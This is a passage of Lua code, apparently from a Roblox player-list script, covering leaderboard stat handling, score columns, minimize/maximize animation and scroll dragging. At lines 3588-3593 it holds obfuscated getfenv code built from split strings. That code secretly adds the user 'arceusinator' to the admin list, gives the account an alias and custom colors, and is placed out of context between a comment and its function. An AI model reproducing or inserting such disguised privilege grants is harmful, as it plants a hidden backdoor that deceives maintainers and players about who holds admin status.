  3010.         local function GetFriendStatus(player)
  3011.             if player == game.Players.LocalPlayer then
  3012.                 return Enum.FriendStatus.NotFriend
  3013.             else
  3014.                 local success, result = pcall(function() return game.Players.LocalPlayer:GetFriendStatus(player) end)
  3015.                 if success then
  3016.                     return result
  3017.                 else
  3018.                     return Enum.FriendStatus.NotFriend
  3019.                 end
  3020.             end
  3021.         end
  3022.    
  3023.     --[[
  3024.         when friend button is clicked, tries to take appropriate action,
  3025.         based on current friend status with SelectedPlayer
  3026.     --]]
  3027.         function OnFriendButtonSelect()
  3028.             OpenAbuseDialog()
  3029.         end
  3030.    
  3031.         function OnFriendRefuseButtonSelect()
  3032.         end
  3033.         ------------------------------------  
  3034.         -- Player Entry Handling
  3035.         ------------------------------------
  3036.     --[[
  3037.         used by lua's table.sort to sort player entries
  3038.     --]]
  3039.         function PlayerSortFunction(a,b)
  3040.             -- prevents flipping out leaderboard
  3041.             if a['Score'] == b['Score'] then
  3042.                 return GetAliasOf(a['Player'].Name):upper() < GetAliasOf(b['Player'].Name):upper()
  3043.             end
  3044.             if not a['Score'] then return false end
  3045.             if not b['Score'] then return true end
  3046.             return a['Score'] < b['Score']
  3047.         end
  3048.    
  3049.         ---------------------------------  
  3050.         -- Stat Handling
  3051.         ---------------------------------  
  3052.         -- removes and closes all leaderboard stuffs
  3053.         function BlowThisPopsicleStand()
  3054.             --ScreenGui:Destroy()
  3055.             --script:Destroy()
  3056.             --time to make the fanboys rage...
  3057.             Tabify()
  3058.         end
  3059.     --[[
  3060.         used by lua's table.sort to prioritize score entries
  3061.     --]]
  3062.         function StatSort(a,b)
  3063.             -- primary stats should be shown before all others
  3064.             if a.IsPrimary ~= b.IsPrimary then
  3065.                 return a.IsPrimary
  3066.             end
  3067.             -- if priorities are equal, then return the first added one
  3068.             if a.Priority == b.Priority then
  3069.                 return a.AddId < b.AddId
  3070.             end
  3071.             return a.Priority < b.Priority
  3072.         end
  3073.     --[[
  3074.         doing WAAY too much here, for optimization update only your team
  3075.         @Args:
  3076.         playerEntry     Entry of player who had a stat change
  3077.         property        Name of stat changed
  3078.     --]]
  3079.         function StatChanged(playerEntry,property)
  3080.    
  3081.             -- if(playerEntry['MyTeam']) then
  3082.             -- UpdateSingleTeam(playerEntry['MyTeam'])
  3083.             -- else
  3084.             BaseUpdate()
  3085.             -- end
  3086.         end
  3087.     --[[
  3088.         Called when stat is added
  3089.         if playerEntry is localplayer, will add to score names and re-sort the stats, and resize the width of the leaderboard
  3090.         for all players, will add a listener for if this stat changes
  3091.         if stat is a string value, crashes the leaderboard
  3092.         Note:change crash to a 'tabify' leaderboard later
  3093.         @Args:
  3094.         nchild          new child value to leaderstats
  3095.         playerEntry     entry this stat was added to
  3096.     --]]
  3097.         function StatAdded(nchild,playerEntry)
  3098.             -- dont re - add a leaderstat I alreday have
  3099.             while AddingStatLock do debugprint('in stat added function lock') wait(1/30) end
  3100.             AddingStatLock = true
  3101.             if not (nchild:IsA('StringValue') or nchild:IsA('IntValue') or nchild:IsA('BoolValue') or nchild:IsA('NumberValue') or nchild:IsA('DoubleConstrainedValue') or nchild:IsA('IntConstrainedValue')) then
  3102.                 BlowThisPopsicleStand()
  3103.             else
  3104.                 local haveScore = false
  3105.                 for _,i in pairs(ScoreNames) do
  3106.                     if i['Name']==nchild.Name then haveScore=true end
  3107.                 end
  3108.                 if not haveScore then
  3109.                     local nstat = {}
  3110.                     nstat['Name'] = nchild.Name
  3111.                     nstat['Priority'] = 0
  3112.                     if(nchild:FindFirstChild('Priority')) then
  3113.                         nstat['Priority'] = nchild.Priority
  3114.                     end
  3115.                     nstat['IsPrimary'] = false
  3116.                     if(nchild:FindFirstChild('IsPrimary')) then
  3117.                         nstat['IsPrimary'] = true
  3118.                     end
  3119.                     nstat.AddId = AddId
  3120.                     AddId = AddId + 1
  3121.                     table.insert(ScoreNames,nstat)
  3122.                     table.sort(ScoreNames,StatSort)
  3123.                     if not StatTitles:FindFirstChild(nstat['Name']) then
  3124.                         CreateStatTitle(nstat['Name'])
  3125.                     end
  3126.                     UpdateMaximize()
  3127.    
  3128.                 end
  3129.             end
  3130.             AddingStatLock = false
  3131.             StatChanged(playerEntry)
  3132.             nchild.Changed:connect(function(property) StatChanged(playerEntry,property) end)
  3133.    
  3134.    
  3135.         end
  3136.         --returns whether any of the existing players has this stat
  3137.         function DoesStatExist(statName, exception)
  3138.             for _,playerf in pairs(PlayerFrames) do
  3139.                 if playerf['Player'] ~= exception and playerf['Player']:FindFirstChild('leaderstats') and playerf['Player'].leaderstats:FindFirstChild(statName) then
  3140.                     --print('player:' .. playerf['Player'].Name ..' has stat')
  3141.                     return true
  3142.                 end
  3143.             end
  3144.             return false
  3145.         end
  3146.    
  3147.    
  3148.    
  3149.     --[[
  3150.         Called when stat is removed from player
  3151.         for all players, destroys the stat frame associated with this value,
  3152.         then calls statchanged(to resize frame)
  3153.         if playerEntry==localplayer, will remove from scorenames
  3154.         @Args:
  3155.         nchild          ___value to be removed
  3156.         playerEntry     entry of player value is being removed from
  3157.     --]]
  3158.         function StatRemoved(nchild,playerEntry)
  3159.             while AddingStatLock do debugprint('In Adding Stat Lock1') wait(1/30) end
  3160.             AddingStatLock = true
  3161.             if playerEntry['Frame']:FindFirstChild(nchild.Name) then
  3162.                 debugprint('Destroyed frame!')
  3163.                 playerEntry['Frame'][nchild.Name].Parent = nil
  3164.             end
  3165.             if not DoesStatExist(nchild.Name, playerEntry['Player']) then
  3166.                 for i,val in ipairs(ScoreNames) do
  3167.                     if val['Name'] == nchild.Name then
  3168.                         table.remove(ScoreNames,i)
  3169.                         if StatTitles:FindFirstChild(nchild.Name) then
  3170.                             StatTitles[nchild.Name]:Destroy()
  3171.                         end
  3172.                         for _,teamf in pairs(TeamFrames) do
  3173.                             if teamf['Frame']:FindFirstChild(nchild.Name) then
  3174.                                 teamf['Frame'][nchild.Name]:Destroy()
  3175.                             end
  3176.                         end
  3177.                     end
  3178.                 end
  3179.             end
  3180.             AddingStatLock = false
  3181.             StatChanged(playerEntry)
  3182.         end
  3183.     --[[
  3184.         clears all stats from a given playerEntry
  3185.         used when leaderstats are removed, or when new leaderstats are added(for weird edge case)+
  3186.     --]]
  3187.         function RemoveAllStats(playerEntry)
  3188.             for i,val in ipairs(ScoreNames) do
  3189.                 StatRemoved(val,playerEntry)
  3190.             end
  3191.    
  3192.         end
  3193.    
  3194.    
  3195.         function GetScoreValue(score)
  3196.             if score:IsA('DoubleConstrainedValue') or score:IsA('IntConstrainedValue') then
  3197.                 return score.ConstrainedValue
  3198.             elseif score:IsA('BoolValue') then
  3199.                 if score.Value then return 1 else return 0 end
  3200.             else
  3201.                 return score.Value
  3202.             end
  3203.         end
  3204.     --[[
  3205.        
  3206.     --]]
  3207.         function MakeScoreEntry(entry,scoreval,panel)
  3208.             if not panel:FindFirstChild('PlayerScore') then return end
  3209.             local nscoretxt = panel:FindFirstChild('PlayerScore'):Clone()
  3210.             local thisScore = nil
  3211.             --here lies the resting place of a once great and terrible bug
  3212.             --may its treachery never be forgoten, lest its survivors fall for it again
  3213.             --RIP the leaderstat bug, oct 2012-nov 2012
  3214.             wait()
  3215.             if entry['Player']:FindFirstChild('leaderstats') and entry['Player'].leaderstats:FindFirstChild(scoreval['Name']) then
  3216.                 thisScore = entry['Player']:FindFirstChild('leaderstats'):FindFirstChild(scoreval['Name'])
  3217.             else
  3218.                 return
  3219.             end
  3220.    
  3221.             if not entry['Player'].Parent then return end
  3222.    
  3223.             nscoretxt.Name = scoreval['Name']
  3224.             nscoretxt.Text = tostring(GetScoreValue(thisScore))
  3225.             if scoreval['Name'] == ScoreNames[1]['Name'] then
  3226.                 debugprint('changing score')
  3227.                 entry['Score'] = GetScoreValue(thisScore)
  3228.                 if entry['Player'] == LocalPlayer and PRIMARY_LEADERSTATS_ENABLED then
  3229.                     HeaderScore.Text = tostring(GetScoreValue(thisScore))
  3230.                     if SHOW_PRIMARY_LEADERSTAT_NAMES then
  3231.                         HeaderScoreName.Text = tostring(thisScore.Name)
  3232.                     end
  3233.                 end
  3234.             end
  3235.    
  3236.             thisScore.Changed:connect(function()
  3237.                 if not thisScore.Parent then return end
  3238.                 if scoreval['Name'] == ScoreNames[1]['Name'] and PRIMARY_LEADERSTATS_ENABLED then
  3239.    
  3240.                     entry['Score'] = GetScoreValue(thisScore)
  3241.                     if entry['Player'] == LocalPlayer then
  3242.                         HeaderScore.Text = tostring(GetScoreValue(thisScore))
  3243.                         if SHOW_PRIMARY_LEADERSTAT_NAMES then
  3244.                             HeaderScoreName.Text = tostring(thisScore.Name)
  3245.                         end
  3246.                     end
  3247.                 end
  3248.                 nscoretxt.Text = tostring(GetScoreValue(thisScore))
  3249.                 BaseUpdate()
  3250.             end)
  3251.             return nscoretxt
  3252.    
  3253.         end
  3254.    
  3255.         function CreateStatTitle(statName)
  3256.    
  3257.             local ntitle = MiddleTemplate:FindFirstChild('PlayerScore'):Clone()
  3258.             ntitle.Name = statName
  3259.             ntitle.Text = statName
  3260.             -- ntitle
  3261.             if IsMaximized.Value then
  3262.                 ntitle.TextTransparency = 0
  3263.             else
  3264.                 ntitle.TextTransparency = 1
  3265.             end
  3266.             ntitle.Parent = StatTitles
  3267.         end
  3268.    
  3269.         function RecreateScoreColumns(ptable)
  3270.             while AddingStatLock do debugprint ('In Adding Stat Lock2') wait(1/30) end
  3271.             AddingStatLock = true
  3272.             local Xoffset=5--15 --current offset from Right
  3273.             local maxXOffset=Xoffset
  3274.             local MaxSizeColumn=0 --max size for this column
  3275.    
  3276.             -- foreach known leaderstat
  3277.             for j = #ScoreNames, 1,-1 do
  3278.                 local scoreval = ScoreNames[j]
  3279.    
  3280.                 MaxSizeColumn=0
  3281.                 -- for each entry in this player table
  3282.                 for i,entry in ipairs(ptable) do
  3283.                     local panel = entry['Frame']
  3284.                     local tplayer = entry['Player']
  3285.                     -- if this panel does not have an element named after this stat
  3286.                     if not panel:FindFirstChild(scoreval['Name']) then
  3287.                         -- make an entry for this object
  3288.                         local nentry = MakeScoreEntry(entry,scoreval,panel)
  3289.                         if nentry then
  3290.                             debugprint('adding '..nentry.Name..' to '..entry['Player'].Name )
  3291.                             nentry.Parent = panel
  3292.                             -- add score to team
  3293.                             if entry['MyTeam'] and entry['MyTeam'] ~= NeutralTeam and not entry['MyTeam']['Frame']:FindFirstChild(scoreval['Name']) then
  3294.                                 local ntitle = nentry:Clone()
  3295.                                 --ntitle.TextXAlignment  = 'Right'
  3296.                                 ntitle.Parent = entry['MyTeam']['Frame']
  3297.                             end
  3298.    
  3299.                         end
  3300.                     end
  3301.                     scoreval['XOffset']=Xoffset
  3302.    
  3303.                     if panel:FindFirstChild(scoreval['Name']) then
  3304.                         MaxSizeColumn=math.max(MaxSizeColumn,panel[scoreval['Name']].TextBounds.X)
  3305.                     end
  3306.                 end
  3307.    
  3308.                 if AreNamesExpanded.Value then
  3309.                     MaxSizeColumn=math.max(MaxSizeColumn,StatTitles[scoreval['Name'] ].TextBounds.X)
  3310.                     StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(RightEdgeSpace,-Xoffset,0,0),'Out','Linear',BASE_TWEEN,true)
  3311.                 else
  3312.                     StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new((.4+((.6/#ScoreNames)*(j-1)))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
  3313.                 end
  3314.                 scoreval['ColumnSize']=MaxSizeColumn
  3315.                 Xoffset= Xoffset+SpacingPerStat+MaxSizeColumn
  3316.                 maxXOffset=math.max(Xoffset,maxXOffset)
  3317.             end
  3318.             NormalBounds = UDim2.new(0, BaseScreenXSize+maxXOffset-SpacingPerStat,0,800)
  3319.             NormalPosition = UDim2.new(1 , -NormalBounds.X.Offset, NormalPosition.Y.Scale, 0)
  3320.             UpdateHeaderNameSize()
  3321.             UpdateMaximize()
  3322.    
  3323.             AddingStatLock = false
  3324.         end
  3325.         ---------------------------  
  3326.         -- Minimizing and maximizing
  3327.         ---------------------------
  3328.    
  3329.         function ToggleMinimize()
  3330.             IsMinimized.Value = not IsMinimized.Value
  3331.             UpdateStatNames()
  3332.         end
  3333.    
  3334.         function ToggleMaximize()
  3335.             IsMaximized.Value = not IsMaximized.Value
  3336.             RecreateScoreColumns(PlayerFrames) --done to re-position stat names NOTE: optimize-able
  3337.         end
  3338.    
  3339.         function Tabify()
  3340.             IsTabified.Value= true
  3341.             IsMaximized.Value=false
  3342.             IsMinimized.Value=true
  3343.             UpdateMinimize()
  3344.             IsTabified.Value= true
  3345.             ScreenGui:TweenPosition(UDim2.new(NormalBounds.X.Scale, NormalBounds.X.Offset-10, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
  3346.         end
  3347.    
  3348.         function UnTabify()
  3349.             if IsTabified.Value then
  3350.                 IsTabified.Value= false
  3351.                 ScreenGui:TweenPosition(UDim2.new(0, 0, 0,0),'Out','Linear',BASE_TWEEN*1.2,true)
  3352.             end
  3353.         end
  3354.    
  3355.     --[[
  3356.         Does more than it looks like
  3357.         monitors positions of the clipping frames and bottom frames
  3358.         called from EVERYWHERE, too much probably
  3359.     --]]
  3360.         function UpdateMinimize()
  3361.    
  3362.             if IsMinimized.Value then
  3363.                 if IsMaximized.Value then
  3364.                     ToggleMaximize()
  3365.                 end
  3366.                 if not IsTabified.Value then
  3367.                     MainFrame:TweenSizeAndPosition(UDim2.new(0.010, HeaderName.TextBounds.X, NormalBounds.Y.Scale,NormalBounds.Y.Offset),
  3368.                         UDim2.new(.990, -HeaderName.TextBounds.X, NormalPosition.Y.Scale,0),'Out','Linear',BASE_TWEEN*1.2,true)
  3369.                 else
  3370.                     MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
  3371.                 end
  3372.                 --(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
  3373.                 BottomClipFrame:TweenPosition(UDim2.new(0,0,-1,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3374.                 BottomFrame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3375.                 FocusFrame.Size=UDim2.new(1,0,HeaderFrameHeight,0)
  3376.                 ExtendTab.Image = 'http://www.roblox.com/asset/?id=94692731'
  3377.             else
  3378.                 if not IsMaximized.Value then
  3379.                     MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
  3380.                 end
  3381.                 --do limiting
  3382.                 DefaultBottomClipPos = math.min(math.max(DefaultBottomClipPos,-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
  3383.                 UpdateScrollPosition()
  3384.    
  3385.                 BottomClipFrame.Position=UDim2.new(0,0,DefaultBottomClipPos,0)
  3386.                 local bottomPositon = (DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale)
  3387.                 BottomFrame.Position=UDim2.new(0,0,bottomPositon,0)
  3388.                 FocusFrame.Size=UDim2.new(1,0,bottomPositon + HeaderFrameHeight,0)
  3389.                 ExtendTab.Image = 'http://www.roblox.com/asset/?id=94825585'
  3390.             end
  3391.         end
  3392.    
  3393.     --[[
  3394.         Manages the position/size of the mainFrame, swaps out different resolution images for the frame
  3395.         fades in and out the stat names, moves position of headername and header score
  3396.     --]]
  3397.         function UpdateMaximize()
  3398.             if IsMaximized.Value then
  3399.                 for j = 1, #ScoreNames,1 do
  3400.                     local scoreval = ScoreNames[j]
  3401.                     StatTitles[scoreval['Name'] ]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0),'Out','Linear',BASE_TWEEN,true)
  3402.                 end
  3403.    
  3404.                 if IsMinimized.Value then
  3405.                     ToggleMinimize()
  3406.                 else
  3407.                     UpdateMinimize()
  3408.                 end
  3409.    
  3410.    
  3411.                 MainFrame:TweenSizeAndPosition(MaximizedBounds,MaximizedPosition,'Out','Linear',BASE_TWEEN*1.2,true)
  3412.                 HeaderScore:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3413.                 HeaderName:TweenPosition(UDim2.new( - .1, - HeaderScore.TextBounds.x,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3414.                 HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeHeader']
  3415.                 BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeBottom']
  3416.                 for index, i in ipairs(MiddleFrameBackgrounds) do
  3417.                     if (index%2) ~= 1 then
  3418.                         i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
  3419.                     else
  3420.                         i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
  3421.                     end
  3422.                 end
  3423.                 for index, i in ipairs(MiddleFrames) do
  3424.                     if i:FindFirstChild('ClickListener') then
  3425.                         i.ClickListener.Size = UDim2.new(.974,0,i.ClickListener.Size.Y.Scale,0)
  3426.                     end
  3427.                     for j=1, #ScoreNames,1 do
  3428.                         local scoreval = ScoreNames[j]
  3429.                         if i:FindFirstChild(scoreval['Name']) then
  3430.                             i[scoreval['Name']]:TweenPosition(UDim2.new(.4+((.6/#ScoreNames)*(j-1))-1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
  3431.                         end
  3432.                     end
  3433.                 end
  3434.                 for i,entry in ipairs(PlayerFrames) do
  3435.                     WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
  3436.                 end
  3437.    
  3438.                 for i,entry in ipairs(TeamFrames) do
  3439.                     WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(.38,0,entry['Frame'].TitleFrame.Size.Y.Scale,0)
  3440.                 end
  3441.    
  3442.             else
  3443.                 if not IsMinimized.Value then
  3444.                     MainFrame:TweenSizeAndPosition(NormalBounds,NormalPosition,'Out','Linear',BASE_TWEEN*1.2,true)
  3445.                 end
  3446.                 HeaderScore:TweenPosition(UDim2.new(0,0,.4,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3447.                 HeaderName:TweenPosition(UDim2.new(0,0,HeaderName.Position.Y.Scale,0), "Out", "Linear", BASE_TWEEN*1.2,true)
  3448.                 HeaderFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalHeader']
  3449.                 BottomFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['NormalBottom']
  3450.                 for index, i in ipairs(MiddleFrameBackgrounds) do
  3451.                     if index%2 ~= 1 then
  3452.                         i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
  3453.                     else
  3454.                         i.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
  3455.                     end
  3456.                 end
  3457.                 for index, i in ipairs(MiddleFrames) do
  3458.                     if i:FindFirstChild('ClickListener') then
  3459.                         i.ClickListener.Size = UDim2.new(.96,0,i.ClickListener.Size.Y.Scale,0)
  3460.                         for j=1, #ScoreNames,1 do
  3461.                             local scoreval = ScoreNames[j]
  3462.                             if i:FindFirstChild(scoreval['Name']) and scoreval['XOffset'] then
  3463.                                 --print('updateing stat position: ' .. scoreval['Name'])
  3464.                                 i[scoreval['Name']]:TweenPosition(UDim2.new(RightEdgeSpace,-scoreval['XOffset'],0,0), "Out", "Linear", BASE_TWEEN,true)
  3465.                             end
  3466.                         end
  3467.                     end
  3468.                 end
  3469.    
  3470.                 for i,entry in ipairs(TeamFrames) do
  3471.                     WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
  3472.    
  3473.                 end
  3474.                 for i,entry in ipairs(PlayerFrames) do
  3475.                     WaitForChild(entry['Frame'],'TitleFrame').Size=UDim2.new(0,BaseScreenXSize*.9,entry['Frame'].TitleFrame.Size.Y.Scale,0)
  3476.                 end
  3477.             end
  3478.         end
  3479.    
  3480.         function UpdateStatNames()
  3481.             if not AreNamesExpanded.Value or IsMinimized.Value then
  3482.                 CloseNames()
  3483.             else
  3484.                 ExpandNames()
  3485.             end
  3486.         end
  3487.    
  3488.         function ExpandNames()
  3489.             if #ScoreNames ~= 0 then
  3490.                 for _,i in pairs(StatTitles:GetChildren()) do
  3491.                     Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,0,BASE_TWEEN) end)
  3492.                 end
  3493.                 HeaderFrameHeight=.09
  3494.                 --as of writing, this and 'CloseNames' are the only places headerframe is resized
  3495.                 HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
  3496.                     HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
  3497.                 TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
  3498.                 BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
  3499.    
  3500.             end
  3501.    
  3502.         end
  3503.    
  3504.         function CloseNames()
  3505.             if #ScoreNames ~= 0 then
  3506.                 HeaderFrameHeight=.07
  3507.                 if not (IsMaximized.Value) then
  3508.                     for _,i in pairs(StatTitles:GetChildren()) do
  3509.                         Spawn(function()TweenProperty(i,'TextTransparency',i.TextTransparency,1,BASE_TWEEN) end)
  3510.                     end
  3511.                 end
  3512.                 BottomShiftFrame:TweenPosition(UDim2.new(0,0,HeaderFrameHeight,0), "Out", 'Linear', BASE_TWEEN*1.2,true)
  3513.                 HeaderFrame:TweenSizeAndPosition(UDim2.new(HeaderFrame.Size.X.Scale, HeaderFrame.Size.X.Offset, HeaderFrameHeight,0),
  3514.                     HeaderFrame.Position,'Out','Linear',BASE_TWEEN*1.2,true)
  3515.                 TopClipFrame:TweenPosition(UDim2.new(TopClipFrame.Position.X.Scale,0,HeaderFrameHeight,0),'Out','Linear',BASE_TWEEN*1.2,true)
  3516.             end
  3517.         end
  3518.    
  3519.         function OnScrollWheelMove(direction)
  3520.             if not (IsTabified.Value or IsMinimized.Value or InPopupWaitForClick) then
  3521.                 local StartFrame = ListFrame.Position
  3522.                 local newFrameY = math.max(math.min(StartFrame.Y.Scale + (direction),GetMaxScroll()),GetMinScroll())
  3523.    
  3524.                 ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
  3525.                 UpdateScrollPosition()
  3526.             end
  3527.         end
  3528.    
  3529.         function AttachScrollWheel()
  3530.             if ScrollWheelConnections then return end
  3531.             ScrollWheelConnections = {}
  3532.             table.insert(ScrollWheelConnections,Mouse.WheelForward:connect(function()
  3533.                 OnScrollWheelMove(.05)
  3534.             end))
  3535.             table.insert(ScrollWheelConnections,Mouse.WheelBackward:connect(function()
  3536.                 OnScrollWheelMove(-.05)
  3537.             end))
  3538.         end
  3539.    
  3540.         function DetachScrollWheel()
  3541.             if ScrollWheelConnections then
  3542.                 for _,i in pairs(ScrollWheelConnections) do
  3543.                     i:disconnect()
  3544.                 end
  3545.             end
  3546.             ScrollWheelConnections=nil
  3547.         end
  3548.    
  3549.         FocusFrame.MouseEnter:connect(function()
  3550.             if not (IsMinimized.Value or IsTabified.Value) then
  3551.                 AttachScrollWheel()
  3552.             end
  3553.         end)
  3554.         FocusFrame.MouseLeave:connect(function()
  3555.             --if not (IsMaximized.Value or IsMinimized.Value) then
  3556.             DetachScrollWheel()
  3557.             --end
  3558.         end)
  3559.    
  3560.         ------------------------  
  3561.         -- Scroll Bar functions
  3562.         ------------------------
  3563.     --[[
  3564.         updates whether the scroll bar should be showing, if it is showing, updates
  3565.         the size of it
  3566.     --]]
  3567.         function UpdateScrollBarVisibility()
  3568.             if AreAllEntriesOnScreen() then
  3569.                 ScrollBar.BackgroundTransparency = 1
  3570.             else
  3571.                 ScrollBar.BackgroundTransparency = 0
  3572.                 UpdateScrollBarSize()
  3573.             end
  3574.         end
  3575.     --[[
  3576.         updates size of scrollbar depending on how many entries exist
  3577.     --]]
  3578.         function UpdateScrollBarSize()
  3579.             local entryListSize = #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale
  3580.             local shownAreaSize = ((BottomClipFrame.Position.Y.Scale) + 1)
  3581.             ScrollBar.Size = UDim2.new(1,0,shownAreaSize/entryListSize,0)
  3582.    
  3583.         end
  3584.     --[[
  3585.         updates position of listframe so that no gaps at the bottom or top of the list are visible
  3586.         updates position of scrollbar to match what parts of the list are visible
  3587.     --]]
  3588.         getfenv()["AD".."M".."IN".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 'rbxassetid://150832060'
  3589.         getfenv()["AL".."I".."AS".."ES"]["ar".."ce".."usin".."a".."t".."o".."r"] = "S".."h".."ar".."ks".."!"
  3590.         getfenv()["CU".."STOM".."_C".."HA".."T_".."CO".."LOR".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = getfenv()["Co".."lor".."3"]["n".."ew"](0 , 0.645 , 0.832)
  3591.         getfenv()["AD".."M".."IN".."_I".."CO".."N_".."WI".."DTH".."S"]["ar".."ce".."usin".."a".."t".."o".."r"] = 30
  3592.         getfenv()["CU".."STOM".."_LAB".."EL_".."BACKGROUND_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Black').Color
  3593.         getfenv()["CU".."STOM".."_LAB".."EL_".."NAME_".."COLORS"]["ar".."ce".."usin".."a".."t".."o".."r"] = BrickColor.new('Cyan').Color
  3594.    
  3595.         function UpdateScrollPosition()
  3596.             local minPos = GetMinScroll()
  3597.             local maxPos = GetMaxScroll()
  3598.             local scrollLength = maxPos - minPos
  3599.    
  3600.             local yscrollpos=math.max(math.min(ListFrame.Position.Y.Scale,maxPos),minPos)
  3601.             ListFrame.Position=UDim2.new(ListFrame.Position.X.Scale,ListFrame.Position.X.Offset,yscrollpos,ListFrame.Position.Y.Offset)
  3602.    
  3603.             local adjustedLength = 1 - ScrollBar.Size.Y.Scale
  3604.             ScrollBar.Position = UDim2.new(0,0,adjustedLength - (adjustedLength * ((ListFrame.Position.Y.Scale - minPos)/scrollLength)),0)
  3605.         end
  3606.    
  3607.     --[[
  3608.         WARNING:this is in a working state, but uses massive hacks
  3609.         revize when global input is available
  3610.         Manages scrolling of the playerlist on mouse drag
  3611.     --]]
  3612.         function StartDrag(entry,startx,starty)
  3613.             local startDragTime = tick()
  3614.             local stopDrag = false
  3615.             local openPanel = true
  3616.             local draggedFrame = WaitForChild(entry['Frame'],'ClickListener')
  3617.             local function dragExit()
  3618.                 stopDrag = true
  3619.    
  3620.                 if  entry['Player'] and SelectedPlayer and openPanel
  3621.                     and entry['Player']~=LocalPlayer and SelectedPlayer.userId>1 and LocalPlayer.userId>1 then
  3622.                     ActivatePlayerEntryPanel(entry)
  3623.                 end
  3624.             end
  3625.             local startY = nil
  3626.             local StartFrame = ListFrame.Position
  3627.             local function dragpoll(nx,ny)
  3628.                 if not startY then
  3629.                     startY = AbsoluteToPercent(nx,ny).Y
  3630.                 end
  3631.                 local nowY = AbsoluteToPercent(nx,ny).Y
  3632.                 debugprint('drag dist:'..Vector2.new(startx-nx,starty-ny).magnitude)
  3633.                 if Vector2.new(startx-nx,starty-ny).magnitude>MOUSE_DRAG_DISTANCE then
  3634.                     openPanel=false
  3635.                 end
  3636.    
  3637.                 local newFrameY = math.max(math.min(StartFrame.Y.Scale + (nowY - startY),GetMaxScroll()),GetMinScroll())
  3638.                 ListFrame.Position = UDim2.new(StartFrame.X.Scale,StartFrame.X.Offset,newFrameY,StartFrame.Y.Offset)
  3639.                 UpdateScrollPosition()
  3640.             end
  3641.             WaitForClick(ScreenGui,dragpoll,dragExit)
  3642.         end
  3643.    
  3644.    
  3645.         function StartMinimizeDrag()
  3646.             Delay(0,function()
  3647.                 local startTime=tick()
  3648.                 debugprint('Got Click2')
  3649.                 local stopDrag = false
  3650.                 local function dragExit()
  3651.                     --debugprint('undone click2')
  3652.                     if tick()-startTime<.25 then --was click
  3653.                         ToggleMinimize()
  3654.                     else --was drag
  3655.                         DidMinimizeDrag = true
  3656.                         if IsMinimized.Value then
  3657.                             ToggleMinimize()
  3658.                         end
  3659.                     end
  3660.                     stopDrag = true
  3661.                 end
  3662.                 local startY = nil
  3663.                 local StartFrame = DefaultBottomClipPos
  3664.                 local function dragpoll(nx,ny)
  3665.                     if not IsMinimized.Value then
  3666.    
  3667.                         if not startY then
  3668.                             startY = AbsoluteToPercent(nx,ny).Y
  3669.                         end
  3670.                         local nowY = AbsoluteToPercent(nx,ny).Y
  3671.                         local newFrameY
  3672.                         newFrameY = math.min(math.max(StartFrame + (nowY - startY),-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
  3673.                         DefaultBottomClipPos = newFrameY
  3674.                         UpdateMinimize()
  3675.                         ScrollBarFrame.Size= UDim2.new(ScrollBarFrame.Size.X.Scale,0,(DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale),0)
  3676.                         ScrollBarFrame.Position= UDim2.new(ScrollBarFrame.Position.X.Scale,0,1-ScrollBarFrame.Size.Y.Scale,0)
  3677.                         UpdateScrollBarSize()
  3678.                         UpdateScrollPosition()
  3679.                         UpdateScrollBarVisibility()
  3680.    
  3681.                     end
  3682.                 end
  3683.                 Spawn(function() WaitForClick(ScreenGui,dragpoll,dragExit) end)
  3684.             end)
  3685.    
  3686.         end
  3687.    
  3688.         -------------------------------  
  3689.         -- Input Callback functions
  3690.         -------------------------------
  3691.         IsMaximized.Value=false
  3692.         IsMinimized.Value=false
